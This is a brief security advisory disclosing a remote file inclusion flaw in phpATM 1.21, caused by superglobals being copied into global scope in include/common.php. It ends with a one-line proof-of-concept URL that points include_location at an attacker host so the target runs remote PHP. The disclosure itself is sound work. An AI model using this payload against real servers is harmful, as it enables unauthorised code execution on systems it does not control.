Affected product: phpATM Version vulnerable: 1.21, and probably earlier. Risk: High, execution of arbitrary PHP Vendor informed: Not possible (mail bounces with 550, tried twice) Vendor URL: http://phpatm.free.fr/ phpATM seems to be some up-/downloadscript for web environments. The discussed vulnerability was found exploited in the wild. phpATM allows the execution of arbitrary PHP code via remote includes, when allow_url_fopen is set. The global variable $include_location ist used with include(), and can be used by attackers to run any code with the privileges of the web user. The security flaw is located in `include/common.php', near line 91, where content from the superglobal arrays is moved into global context. This can be used to overwrite the earlier defined global $include_location. Bulk-copying stuff into global context is a very bad idea, as this can easily be abused to overwrite security related variables. PoC: http://victim/index.php?include_location=http://attacker/ Regards, Ingvar
